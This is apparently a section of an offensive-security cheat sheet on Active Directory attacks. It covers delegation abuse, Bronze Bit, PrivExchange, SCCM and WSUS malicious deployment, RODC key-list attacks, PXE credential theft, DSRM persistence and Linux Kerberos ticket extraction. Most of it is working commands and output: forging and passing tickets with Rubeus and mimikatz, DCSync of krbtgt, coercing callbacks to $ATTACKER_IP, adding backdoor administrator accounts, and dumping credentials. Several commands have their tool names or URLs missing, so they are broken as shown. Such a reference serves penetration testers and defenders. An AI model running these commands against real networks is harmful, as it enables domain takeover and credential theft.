Requirements: * Windows Server 2016 or earlier

If we compromise the bastion we get Domain Admins privileges on the other domain

  • Default configuration for PAM Trust
    # execute on our forest
    netdom trust lab.local /domain:bastion.local /ForestTransitive:Yes 
    netdom trust lab.local /domain:bastion.local /EnableSIDHistory:Yes 
    netdom trust lab.local /domain:bastion.local /EnablePIMTrust:Yes 
    netdom trust lab.local /domain:bastion.local /Quarantine:No
    # execute on our bastion
    netdom trust bastion.local /domain:lab.local /ForestTransitive:Yes
  • Enumerate PAM trusts
    # Detect if current forest is PAM trust
    Import ADModule
    Get-ADTrust -Filter {(ForestTransitive -eq $True) -and (SIDFilteringQuarantined -eq $False)}
    # Enumerate shadow security principals 
    Get-ADObject -SearchBase ("CN=Shadow Principal Configuration,CN=Services," + (Get-ADRootDSE).configurationNamingContext) -Filter * -Properties * | select Name,member,msDS-ShadowPrincipalSid | fl
    # Enumerate if current forest is managed by a bastion forest
    # Trust_Attribute_PIM_Trust + Trust_Attribute_Treat_As_External
    Get-ADTrust -Filter {(ForestTransitive -eq $True)} 
  • Compromise
    • Using the previously found Shadow Security Principal (WinRM account, RDP access, SQL, ...)
    • Using SID History
  • Persistence
    # Add a compromised user to the group 
    Set-ADObject -Identity "CN=forest-ShadowEnterpriseAdmin,CN=Shadow Principal Configuration,CN=Services,CN=Configuration,DC=domain,DC=local" -Add @{'member'="CN=Administrator,CN=Users,DC=domain,DC=local"}

Kerberos Unconstrained Delegation

The user sends a ST to access the service, along with their TGT, and then the service can use the user's TGT to request a ST for the user to any other service and impersonate the user. -

When a user authenticates to a computer that has unrestricted kerberos delegation privilege turned on, authenticated user's TGT ticket gets saved to that computer's memory.

⚠ Unconstrained delegation used to be the only option available in Windows 2000

Warning Remember to coerce to a HOSTNAME if you want a Kerberos Ticket

SpoolService Abuse with Unconstrained Delegation

The goal is to gain DC Sync privileges using a computer account and the SpoolService bug.

Requirements: - Object with Property Trust this computer for delegation to any service (Kerberos only) - Must have ADS_UF_TRUSTED_FOR_DELEGATION - Must not have ADS_UF_NOT_DELEGATED flag - User must not be in the Protected Users group - User must not have the flag Account is sensitive and cannot be delegated

Find delegation

⚠ : Domain controllers usually have unconstrained delegation enabled.
Check the TRUSTED_FOR_DELEGATION property.

  • ADModule

    # From
    PS> Get-ADComputer -Filter {TrustedForDelegation -eq $True}

  • ldapdomaindump

    $> ldapdomaindump -u "DOMAIN\\Account" -p "Password123*"   
    grep TRUSTED_FOR_DELEGATION domain_computers.grep

  • CrackMapExec module

    cme ldap -u username -p password --trusted-for-delegation

  • BloodHound: MATCH (c:Computer {unconstraineddelegation:true}) RETURN c

  • Powershell Active Directory module: Get-ADComputer -LDAPFilter "(&(objectCategory=Computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" -Properties DNSHostName,userAccountControl

SpoolService status

Check if the spool service is running on the remote host

ls \\dc01\pipe\spoolss
python DOMAIN/user:password@

Monitor with Rubeus

Monitor incoming connections from Rubeus.

Rubeus.exe monitor /interval:1 

Force a connect back from the DC

Due to the unconstrained delegation, the TGT of the computer account (DC$) will be saved in the memory of the computer with unconstrained delegation. By default the domain controller computer account has DCSync rights over the domain object.

SpoolSample is a PoC to coerce a Windows host to authenticate to an arbitrary server using a "feature" in the MS-RPRN RPC interface.

# From
# DC01.HACKER.LAB is the domain controller we want to compromise
# HELPDESK.HACKER.LAB is the machine with delegation enabled that we control.

# From 'domain/username:password'@<VICTIM-DC-NAME> <UNCONSTRAINED-SERVER-DC-NAME>

# From
python -d domain -u username -p password <UNCONSTRAINED-SERVER-DC-NAME> <VICTIM-DC-NAME>

If the attack worked you should get a TGT of the domain controller.

Load the ticket

Extract the base64 TGT from Rubeus output and load it to our current session.

.\Rubeus.exe asktgs /ticket:<ticket base64> /service:LDAP/dc.lab.local,cifs/dc.lab.local /ptt

Alternatively you could also grab the ticket using Mimikatz : mimikatz # sekurlsa::tickets

Then you can use DCsync or another attack : mimikatz # lsadump::dcsync /user:HACKER\krbtgt


  • Ensure sensitive accounts cannot be delegated
  • Disable the Print Spooler Service

MS-EFSRPC Abuse with Unconstrained Delegation

Using PetitPotam, another tool to coerce a callback from the targeted machine, instead of SpoolSample.

# Coerce the callback
git clone
python3 -d '' -u '' -p '' $ATTACKER_IP $TARGET_IP

# Extract the ticket
.\Rubeus.exe asktgs /ticket:<ticket base64> /ptt

Kerberos Constrained Delegation

Kerberos Constrained Delegation (KCD) is a security feature in Microsoft's Active Directory (AD) that allows a service to impersonate a user or another service in order to access resources on behalf of that user or service.

Identify a Constrained Delegation

  • BloodHound: MATCH p = (a)-[:AllowedToDelegate]->(c:Computer) RETURN p
  • PowerView: Get-NetComputer -TrustedToAuth | select samaccountname,msds-allowedtodelegateto | ft
  • Native
    Get-DomainComputer -TrustedToAuth | select -exp dnshostname
    Get-DomainComputer previous_result | select -exp msds-AllowedToDelegateTo

Exploit the Constrained Delegation

  • Impacket -spn HOST/SQL01.DOMAIN 'DOMAIN/user:password' -impersonate Administrator -dc-ip

  • Rubeus: S4U2 attack (S4U2self + S4U2proxy)

    # with a password
    Rubeus.exe s4u /nowrap /msdsspn:"time/target.local" /altservice:cifs /impersonateuser:"administrator" /domain:"domain" /user:"user" /password:"password"
    # with a NT hash
    Rubeus.exe s4u /user:user_for_delegation /rc4:user_pwd_hash /impersonateuser:user_to_impersonate / / /msdsspn:time/ /altservice:cifs /ptt
    Rubeus.exe s4u /user:MACHINE$ /rc4:MACHINE_PWD_HASH /impersonateuser:Administrator /msdsspn:"cifs/" /altservice:cifs,http,host,rpcss,wsman,ldap /ptt
    dir \\\c$

  • Rubeus: use an existing ticket to perform a S4U2 attack to impersonate the "Administrator"

    # Dump ticket
    Rubeus.exe tgtdeleg /nowrap
    Rubeus.exe triage
    Rubeus.exe dump /luid:0x12d1f7
    # Create a ticket
    Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:cifs/srv.domain.local /ticket:doIFRjCCBUKgAwIBB...BTA== /ptt

  • Rubeus : using aes256 keys

    # Get aes256 keys of the machine account
    # Create a ticket
    Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:cifs/srv.domain.local /user:win10x64$ /aes256:4b55f...fd82 /ptt

Impersonate a domain user on a resource

Require: * SYSTEM level privileges on a machine configured with constrained delegation

PS> [Reflection.Assembly]::LoadWithPartialName('System.IdentityModel') | out-null
PS> $idToImpersonate = New-Object System.Security.Principal.WindowsIdentity @('administrator')
PS> $idToImpersonate.Impersonate()
PS> [System.Security.Principal.WindowsIdentity]::GetCurrent() | select name
PS> ls \\dc01.offense.local\c$

Kerberos Resource Based Constrained Delegation

Resource-based Constrained Delegation was introduced in Windows Server 2012.

The user sends a Service Ticket (ST) to access the service ("Service A"), and if the service is allowed to delegate to another pre-defined service ("Service B"), then Service A can present to the authentication service the TGS that the user provided and obtain a ST for the user to Service B.

  1. Import Powermad and Powerview

    PowerShell.exe -ExecutionPolicy Bypass
    Import-Module .\powermad.ps1
    Import-Module .\powerview.ps1
  2. Get user SID

    $AttackerSID = Get-DomainUser SvcJoinComputerToDom -Properties objectsid | Select -Expand objectsid
    $ACE = Get-DomainObjectACL dc01-ww2.factory.lan | ?{$_.SecurityIdentifier -match $AttackerSID}
    ConvertFrom-SID $ACE.SecurityIdentifier
  3. Abuse MachineAccountQuota to create a computer account and set an SPN for it

    New-MachineAccount -MachineAccount swktest -Password $(ConvertTo-SecureString 'Weakest123*' -AsPlainText -Force)
  4. Rewrite DC's AllowedToActOnBehalfOfOtherIdentity properties

    $ComputerSid = Get-DomainComputer swktest -Properties objectsid | Select -Expand objectsid
    $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
    $SDBytes = New-Object byte[] ($SD.BinaryLength)
    $SD.GetBinaryForm($SDBytes, 0)
    Get-DomainComputer dc01-ww2.factory.lan | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
    $RawBytes = Get-DomainComputer dc01-ww2.factory.lan -Properties 'msds-allowedtoactonbehalfofotheridentity' | select -expand msds-allowedtoactonbehalfofotheridentity
    $Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0
    # alternative
    $SID_FROM_PREVIOUS_COMMAND = Get-DomainComputer MACHINE_ACCOUNT_NAME -Properties objectsid | Select -Expand objectsid
    $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$SID_FROM_PREVIOUS_COMMAND)"; $SDBytes = New-Object byte[] ($SD.BinaryLength); $SD.GetBinaryForm($SDBytes, 0); Get-DomainComputer DC01 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
    # alternative
    StandIn_Net35.exe --computer dc01 --sid SID_FROM_PREVIOUS_COMMAND
  5. Use Rubeus to get hash from password

    Rubeus.exe hash /password:'Weakest123*' /user:swktest$  /domain:factory.lan
    [*] Input password             : Weakest123*
    [*] Input username             : swktest$
    [*] Input domain               : factory.lan
    [*] Salt                       : FACTORY.LANswktest
    [*]       rc4_hmac             : F8E064CA98539B735600714A1F1907DD
    [*]       aes128_cts_hmac_sha1 : D45DEADECB703CFE3774F2AA20DB9498
    [*]       aes256_cts_hmac_sha1 : 0129D24B2793DD66BAF3E979500D8B313444B4D3004DE676FA6AFEAC1AC5C347
    [*]       des_cbc_md5          : BA297CFD07E62A5E
  6. Impersonate domain admin using our newly created machine account

    .\Rubeus.exe s4u /user:swktest$ /rc4:F8E064CA98539B735600714A1F1907DD /impersonateuser:Administrator /msdsspn:cifs/dc01-ww2.factory.lan /ptt /altservice:cifs,http,host,rpcss,wsman,ldap
    .\Rubeus.exe s4u /user:swktest$ /aes256:0129D24B2793DD66BAF3E979500D8B313444B4D3004DE676FA6AFEAC1AC5C347 /impersonateuser:Administrator /msdsspn:cifs/dc01-ww2.factory.lan /ptt /altservice:cifs,http,host,rpcss,wsman,ldap
    [*] Impersonating user 'Administrator' to target SPN 'cifs/dc01-ww2.factory.lan'
    [*] Using domain controller: DC01-WW2.factory.lan (
    [*] Building S4U2proxy request for service: 'cifs/dc01-ww2.factory.lan'
    [*] Sending S4U2proxy request
    [+] S4U2proxy success!
    [*] base64(ticket.kirbi) for SPN 'cifs/dc01-ww2.factory.lan':
    [*] Action: Import Ticket
    [+] Ticket successfully imported!

Kerberos Service for User Extension

  • Service For User To Self which allows a service to obtain a TGS on behalf of another user
  • Service For User To Proxy which allows a service to obtain a TGS on behalf of another user on another service

S4U2self - Privilege Escalation

  1. Get a TGT
    • Using Unconstrained Delegation
    • Using the current machine account: Rubeus.exe tgtdeleg /nowrap
  2. Use that TGT to make a S4U2self request in order to obtain a Service Ticket as domain admin for the machine.
    Rubeus.exe s4u /self /nowrap /impersonateuser:"Administrator" /altservice:"cifs/srv001.domain.local" /ticket:"base64ticket"
    Rubeus.exe ptt /ticket:"base64ticket"
    Rubeus.exe s4u /self /nowrap /impersonateuser:"Administrator" /altservice:"cifs/srv001" /ticket:"base64ticket" /ptt

The "Network Service" account and the AppPool identities can act as the computer account in terms of Active Directory, they are only restrained locally. Therefore it is possible to invoke S4U2self if you run as one of these and request a service ticket for any user (e.g. someone with local admin rights, like DA) to yourself.

# The Rubeus execution will fail when trying the S4UProxy step, but the ticket generated by S4USelf will be printed.
Rubeus.exe s4u /user:${computerAccount} /msdsspn:cifs/${computerDNS} /impersonateuser:${localAdmin} /ticket:${TGT} /nowrap
# The service name is not included in the TGS ciphered data and can be modified at will.
Rubeus.exe tgssub /ticket:${ticket} /altservice:cifs/${ServerDNSName} /ptt

Kerberos Bronze Bit Attack - CVE-2020-17049

An attacker can impersonate users which are not allowed to be delegated. This includes members of the Protected Users group and any other users explicitly configured as sensitive and cannot be delegated.

Patch is out on November 10, 2020, DC are most likely vulnerable until February 2021.

⚠ Patched Error Message : [-] Kerberos SessionError: KRB_AP_ERR_MODIFIED(Message stream modified)

Requirements: * Service account's password hash * Service account's with Constrained Delegation or Resource Based Constrained Delegation * Impacket PR #1013

Attack #1 - Bypass the Trust this user for delegation to specified services only – Use Kerberos only protection and impersonate a user who is protected from delegation.

# forwardable flag is only protected by the ticket encryption which uses the service account's password 
$ -spn cifs/Service2.test.local -impersonate Administrator -hashes <LM:NTLM hash> -aesKey <AES hash> test.local/Service1 -force-forwardable -dc-ip <Domain controller> # -> Forwardable

$ -spn cifs/Service2.test.local -impersonate User2 -hashes aad3b435b51404eeaad3b435b51404ee:7c1673f58e7794c77dead3174b58b68f -aesKey 4ffe0c458ef7196e4991229b0e1c4a11129282afb117b02dc2f38f0312fc84b4 test.local/Service1 -force-forwardable

# Load the ticket
.\mimikatz\mimikatz.exe "kerberos::ptc User2.ccache" exit

# Access "c$"
ls \\service2.test.local\c$

Attack #2 - Write Permissions to one or more objects in the AD

# Create a new machine account
Import-Module .\Powermad\powermad.ps1
New-MachineAccount -MachineAccount AttackerService -Password $(ConvertTo-SecureString 'AttackerServicePassword' -AsPlainText -Force)
.\mimikatz\mimikatz.exe "kerberos::hash /password:AttackerServicePassword /user:AttackerService /domain:test.local" exit

# Set PrincipalsAllowedToDelegateToAccount
Install-WindowsFeature RSAT-AD-PowerShell
Import-Module ActiveDirectory
Get-ADComputer AttackerService
Set-ADComputer Service2 -PrincipalsAllowedToDelegateToAccount AttackerService$
Get-ADComputer Service2 -Properties PrincipalsAllowedToDelegateToAccount

# Execute the attack
python .\impacket\examples\ -spn cifs/Service2.test.local -impersonate User2 -hashes 830f8df592f48bc036ac79a2bb8036c5:830f8df592f48bc036ac79a2bb8036c5 -aesKey 2a62271bdc6226c1106c1ed8dcb554cbf46fb99dda304c472569218c125d9ffc test.local/AttackerService -force-forwardableet-ADComputer Service2 -PrincipalsAllowedToDelegateToAccount AttackerService$

# Load the ticket
.\mimikatz\mimikatz.exe "kerberos::ptc User2.ccache" exit | Out-Null

PrivExchange attack

Exchange your privileges for Domain Admin privs by abusing Exchange.
⚠ You need a shell on a user account with a mailbox.

  1. Exchange server hostname or IP address

    pth-net rpc group members "Exchange Servers" -I dc01.domain.local -U domain/username
  2. Relay of the Exchange server authentication and privilege escalation (using ntlmrelayx from Impacket). -t ldap://dc01.domain.local --escalate-user username
  3. Subscription to the push notification feature (using or powerPriv), uses the credentials of the current user to authenticate to the Exchange server. Forcing the Exchange server's to send back its NTLMv2 hash to a controlled machine.

    python -ah xxxxxxx -u xxxx -d xxxxx
    python -ah mail01.domain.local -d domain.local -u user_exchange -p pass_exchange
    powerPriv -targetHost corpExch01 -attackerHost -Version 2016
  4. Profit using secretdumps from Impacket, the user can now perform a dcsync and get another user's NTLM hash

    python xxxxxxxxxx -just-dc
    python lab/buff@ -ntds ntds -history -just-dc-ntlm
  5. Clean your mess and restore a previous state of the user's ACL

    python --restore ../aclpwn-20190319-125741.restore

Alternatively you can use the Metasploit module

use auxiliary/scanner/http/exchange_web_server_pushsubscription

Alternatively you can use an all-in-one tool : Exchange2domain.

git clone 
python -ah attackterip -ap listenport -u user -p password -d -th DCip MailServerip
python -ah attackterip -u user -p password -d -th DCip --just-dc-user krbtgt MailServerip

SCCM Deployment

SCCM is a solution from Microsoft to enhance administration in a scalable way across an organisation.

  • PowerSCCM - PowerShell module to interact with SCCM deployments
  • MalSCCM - Abuse local or remote SCCM servers to deploy malicious applications to hosts they manage

  • Using SharpSCCM

    .\SharpSCCM.exe get device --server <SERVER8NAME> --site-code <SITE_CODE>
    .\SharpSCCM.exe <server> <sitecode> exec -d <device_name> -r <relay_server_ip>
    .\SharpSCCM.exe exec -d WS01 -p "C:\Windows\System32\ping" -s --debug

  • Compromise client, use locate to find management server
    MalSCCM.exe locate
  • Enumerate over WMI as an administrator of the Distribution Point
    MalSCCM.exe inspect /server:<DistributionPoint Server FQDN> /groups
  • Compromise management server, use locate to find primary server
  • Use inspect on primary server to view who you can target
    MalSCCM.exe inspect /all
    MalSCCM.exe inspect /computers
    MalSCCM.exe inspect /primaryusers
    MalSCCM.exe inspect /groups
  • Create a new device group for the machines you want to laterally move too

    MalSCCM.exe group /create /groupname:TargetGroup /grouptype:device
    MalSCCM.exe inspect /groups

  • Add your targets into the new group

    MalSCCM.exe group /addhost /groupname:TargetGroup /host:WIN2016-SQL

  • Create an application pointing to a malicious EXE on a world readable share : SCCMContentLib$

    MalSCCM.exe app /create /name:demoapp /uncpath:"\\BLORE-SCCM\SCCMContentLib$\localthread.exe"
    MalSCCM.exe inspect /applications

  • Deploy the application to the target group

    MalSCCM.exe app /deploy /name:demoapp /groupname:TargetGroup /assignmentname:demodeployment
    MalSCCM.exe inspect /deployments

  • Force the target group to checkin for updates

    MalSCCM.exe checkin /groupname:TargetGroup

  • Cleanup the application, deployment and group

    MalSCCM.exe app /cleanup /name:demoapp
    MalSCCM.exe group /delete /groupname:TargetGroup

SCCM Network Access Accounts

If you can escalate on a host that is an SCCM client, you can retrieve plaintext domain credentials.

  • Find SCCM blob
    Get-Wmiobject -namespace "root\ccm\policy\Machine\ActualConfig" -class "CCM_NetworkAccessAccount"
    NetworkAccessPassword : <![CDATA[E600000001...8C6B5]]>
    NetworkAccessUsername : <![CDATA[E600000001...00F92]]>
  • Using GhostPack/SharpDPAPI or Mayyhem/SharpSCCM for SCCM retrieval and decryption
    .\SharpDPAPI.exe SCCM
    .\SharpSCCM.exe get naa -u USERNAME -p PASSWORD
  • Check ACL for the CIM repository located at C:\Windows\System32\wbem\Repository\OBJECTS.DATA:
    Get-Acl C:\Windows\System32\wbem\Repository\OBJECTS.DATA | Format-List -Property PSPath,sddl
    ConvertFrom-SddlString ""

SCCM Shares

Find interesting files stored on (System Center) Configuration Manager (SCCM/CM) SMB shares

  • 1njected/CMLoot
    Invoke-CMLootInventory -SCCMHost sccm01.domain.local -Outfile sccmfiles.txt
    Invoke-CMLootDownload -SingleFile \\sccm\SCCMContentLib$\DataLib\SC100001.1\x86\MigApp.xml
    Invoke-CMLootDownload -InventoryFile .\sccmfiles.txt -Extension msi

WSUS Deployment

Windows Server Update Services (WSUS) enables information technology administrators to deploy the latest Microsoft product updates. You can use WSUS to fully manage the distribution of updates that are released through Microsoft Update to computers on your network

⚠ The payload must be a Microsoft signed binary and must point to a location on disk for the WSUS server to load that binary.

  • SharpWSUS

  • Locate using HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate or SharpWSUS.exe locate

  • After WSUS Server compromise: SharpWSUS.exe inspect
  • Create a malicious patch: SharpWSUS.exe create /payload:"C:\Users\ben\Documents\pk\psexec.exe" /args:"-accepteula -s -d cmd.exe /c \"net user WSUSDemo Password123! /add ^& net localgroup administrators WSUSDemo /add\"" /title:"WSUSDemo"
  • Deploy it on the target: SharpWSUS.exe approve /updateid:5d667dfd-c8f0-484d-8835-59138ac0e127 /computername:bloredc2.blorebank.local /groupname:"Demo Group"
  • Check status deployment: SharpWSUS.exe check /updateid:5d667dfd-c8f0-484d-8835-59138ac0e127 /computername:bloredc2.blorebank.local
  • Clean up: SharpWSUS.exe delete /updateid:5d667dfd-c8f0-484d-8835-59138ac0e127 /computername:bloredc2.blorebank.local /groupname:”Demo Group

RODC - Read Only Domain Controller

RODCs are an alternative for Domain Controllers in less secure physical locations - Contains a filtered copy of AD (LAPS and Bitlocker keys are excluded) - Any user or group specified in the managedBy attribute of an RODC has local admin access to the RODC server

RODC Golden Ticket

  • You can forge an RODC golden ticket and present it to a writable Domain Controller only for principals listed in the RODC’s msDS-RevealOnDemandGroup attribute and not in the RODC’s msDS-NeverRevealGroup attribute

RODC Key List Attack

Requirements: * Impacket PR #1210 - The Kerberos Key List Attack * krbtgt credentials of the RODC (-rodcKey) * ID of the krbtgt account of the RODC (-rodcNo)

  • using Impacket
    # using SAMR user enumeration without filtering (-full flag) DOMAIN/user:password@host -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX -full
    # defining a target username (-t flag) -kdc server.domain.local -t user -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX LIST
    # using the Kerberos Key List Attack option (-use-keylist) DOMAIN/user:password@host -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX -use-keylist
  • Using Rubeus
    Rubeus.exe golden /rodcNumber:25078 /aes256:eacd894dd0d934e84de35860ce06a4fac591ca63c228ddc1c7a0ebbfa64c7545 /user:admin /id:1136 /domain:lab.local /sid:S-1-5-21-1437000690-1664695696-1586295871
    Rubeus.exe asktgs /enctype:aes256 /keyList /service:krbtgt/lab.local /dc:dc1.lab.local /ticket:doIFgzCC[...]wIBBxhYnM=

RODC Computer Object

When you have one the following permissions to the RODC computer object: GenericWrite, GenericAll, WriteDacl, Owns, WriteOwner, WriteProperty.

  • Add a domain admin account to the RODC's msDS-RevealOnDemandGroup attribute
    PowerSploit> Set-DomainObject -Identity RODC$ -Set @{'msDS-RevealOnDemandGroup'=@('CN=Allowed RODC Password Replication Group,CN=Users,DC=domain,DC=local', 'CN=Administrator,CN=Users,DC=domain,DC=local')}

PXE Boot image attack

PXE allows a workstation to boot from the network by retrieving an operating system image from a server using TFTP (Trivial FTP) protocol. This boot over the network allows an attacker to fetch the image and interact with it.

  • Press [F8] during the PXE boot to spawn an administrator console on the deployed machine.
  • Press [SHIFT+F10] during the initial Windows setup process to bring up a system console, then add a local administrator or dump SAM/SYSTEM registry.

    net user hacker Password123! /add
    net localgroup administrators /add hacker
  • Extract the pre-boot image (wim files) using PowerPXE.ps1 ( and dig through it to find default passwords and domain accounts.

    # Import the module
    PS > Import-Module .\PowerPXE.ps1
    # Start the exploit on the Ethernet interface
    PS > Get-PXEcreds -InterfaceAlias Ethernet
    PS > Get-PXECreds -InterfaceAlias « lab 0 » 
    # Wait for the DHCP to get an address
    >> Get a valid IP address
    >>> >>> DHCP proposal IP address:
    >>> >>> DHCP Validation: DHCPACK
    >>> >>> IP address configured:
    # Extract BCD path from the DHCP response
    >> Request BCD File path
    >>> >>> BCD File path:  \Tmp\x86x64{5AF4E332-C90A-4015-9BA2-F8A7C9FF04E6}.bcd
    >>> >>> TFTP IP Address:
    # Download the BCD file and extract wim files
    >> Launch TFTP download
    >>>> Transfer succeeded.
    >> Parse the BCD file: conf.bcd
    >>>> Identify wim file : \Boot\x86\Images\LiteTouchPE_x86.wim
    >>>> Identify wim file : \Boot\x64\Images\LiteTouchPE_x64.wim
    >> Launch TFTP download
    >>>> Transfer succeeded.
    # Parse wim files to find interesting data
    >> Open LiteTouchPE_x86.wim
    >>>> Finding Bootstrap.ini
    >>>> >>>> DeployRoot = \\LAB-MDT\DeploymentShare$
    >>>> >>>> UserID = MdtService
    >>>> >>>> UserPassword = Somepass1

DNS Reconnaissance

Perform ADIDNS searches

StandIn.exe --dns --limit 20
StandIn.exe --dns --filter SQL --limit 10
StandIn.exe --dns --forest --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --dns --legacy --domain redhook --user RFludd --pass Cl4vi$Alchemi4e

DSRM Credentials

Directory Services Restore Mode (DSRM) is a safe mode boot option for Windows Server domain controllers. DSRM allows an administrator to repair or recover to repair or restore an Active Directory database.

This is the local administrator account inside each DC. Having admin privileges in this machine, you can use mimikatz to dump the local Administrator hash. Then, modifying a registry to activate this password so you can remotely access to this local Administrator user.

Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"'

# Check if the key exists and get the value
Get-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior 

# Create key with value "2" if it doesn't exist
New-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2 -PropertyType DWORD 

# Change value to "2"
Set-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2

Linux Active Directory

CCACHE ticket reuse from /tmp

When tickets are set to be stored as a file on disk, the standard format and type is a CCACHE file. This is a simple binary file format to store Kerberos credentials. These files are typically stored in /tmp and scoped with 600 permissions

List the current ticket used for authentication with env | grep KRB5CCNAME. The format is portable and the ticket can be reused by setting the environment variable with export KRB5CCNAME=/tmp/ticket.ccache. Kerberos ticket name format is krb5cc_%{uid} where uid is the user UID.

$ ls /tmp/ | grep krb5cc

$ export KRB5CCNAME=/tmp/krb5cc_1569901115

CCACHE ticket reuse from keyring

Tool to extract Kerberos tickets from Linux kernel keys :

# Configuration and build
git clone
cd tickey/tickey
make CONF=Release

[root@Lab-LSV01 /]# /tmp/tickey -i
[*] krb5 ccache_name = KEYRING:session:sess_%{uid}
[+] root detected, so... DUMP ALL THE TICKETS!!
[*] Trying to inject in tarlogic[1000] session...
[+] Successful injection at process 25723 of tarlogic[1000],look for tickets in /tmp/__krb_1000.ccache
[*] Trying to inject in velociraptor[1120601115] session...
[+] Successful injection at process 25794 of velociraptor[1120601115],look for tickets in /tmp/__krb_1120601115.ccache
[*] Trying to inject in trex[1120601113] session...
[+] Successful injection at process 25820 of trex[1120601113],look for tickets in /tmp/__krb_1120601113.ccache
[X] [uid:0] Error retrieving tickets

CCACHE ticket reuse from SSSD KCM

SSSD maintains a copy of the database at the path /var/lib/sss/secrets/secrets.ldb. The corresponding key is stored as a hidden file at the path /var/lib/sss/secrets/.secrets.mkey. By default, the key is only readable if you have root permissions.

Invoking SSSDKCMExtractor with the --database and --key parameters will parse the database and decrypt the secrets.

git clone
python3 --database secrets.ldb --key secrets.mkey

The credential cache Kerberos blob can be converted into a usable Kerberos CCache file that can be passed to Mimikatz/Rubeus.

CCACHE ticket reuse from keytab

git clone
python /etc/krb5.keytab
klist -k /etc/krb5.keytab

Extract accounts from /etc/krb5.keytab

The service keys used by services that run as root are usually stored in the keytab file /etc/krb5.keytab. This service key is the equivalent of the service's password, and must be kept secure.

Use klist to read the keytab file and parse its content. The key that you see when the key type is 23 is the actual NT Hash of the user.

$ klist.exe -t -K -e -k FILE:C:\Users\User\downloads\krb5.keytab
[26] Service principal: host/COMPUTER@DOMAIN
     KVNO: 25
     Key type: 23
     Key: 31d6cfe0d16ae931b73c59d7e0c089c0
     Time stamp: Oct 07,  2019 09:12:02

On Linux you can use KeyTabExtract: we want RC4 HMAC hash to reuse the NLTM hash.

$ python3 krb5.keytab 
[!] No RC4-HMAC located. Unable to extract NTLM hashes. # No luck
[+] Keytab File successfully imported.
        REALM : DOMAIN
        SERVICE PRINCIPAL : host/computer.domain
        NTLM HASH : 31d6cfe0d16ae931b73c59d7e0c089c0 # Lucky

On macOS you can use bifrost.

./bifrost -action dump -source keytab -path test

Connect to the machine using the account and the hash with CME.

$ crackmapexec 10.XXX.XXX.XXX -u 'COMPUTER$' -H "31d6cfe0d16ae931b73c59d7e0c089c0" -d "DOMAIN"
CME          10.XXX.XXX.XXX:445 HOSTNAME-01   [+] DOMAIN\COMPUTER$ 31d6cfe0d16ae931b73c59d7e0c089c0  

Extract accounts from /etc/sssd/sssd.conf

sss_obfuscate converts a given password into human-unreadable format and places it into appropriate domain section of the SSSD config file, usually located at /etc/sssd/sssd.conf

The obfuscated password is put into "ldap_default_authtok" parameter of a given SSSD domain and the "ldap_default_authtok_type" parameter is set to "obfuscated_password".

config_file_version = 2
ldap_uri = ldap://
ldap_search_base = ou=People,dc=srv,dc=world
ldap_default_authtok_type = obfuscated_password
ldap_default_authtok = [BASE64_ENCODED_TOKEN]

De-obfuscate the content of the ldap_default_authtok variable with mludvig/sss_deobfuscate

./sss_deobfuscate [ldap_default_authtok_base64_encoded]
./sss_deobfuscate AAAQABagVAjf9KgUyIxTw3A+HUfbig7N1+L0qtY4xAULt2GYHFc1B3CBWGAE9ArooklBkpxQtROiyCGDQH+VzLHYmiIAAQID


Last update: September 19, 2023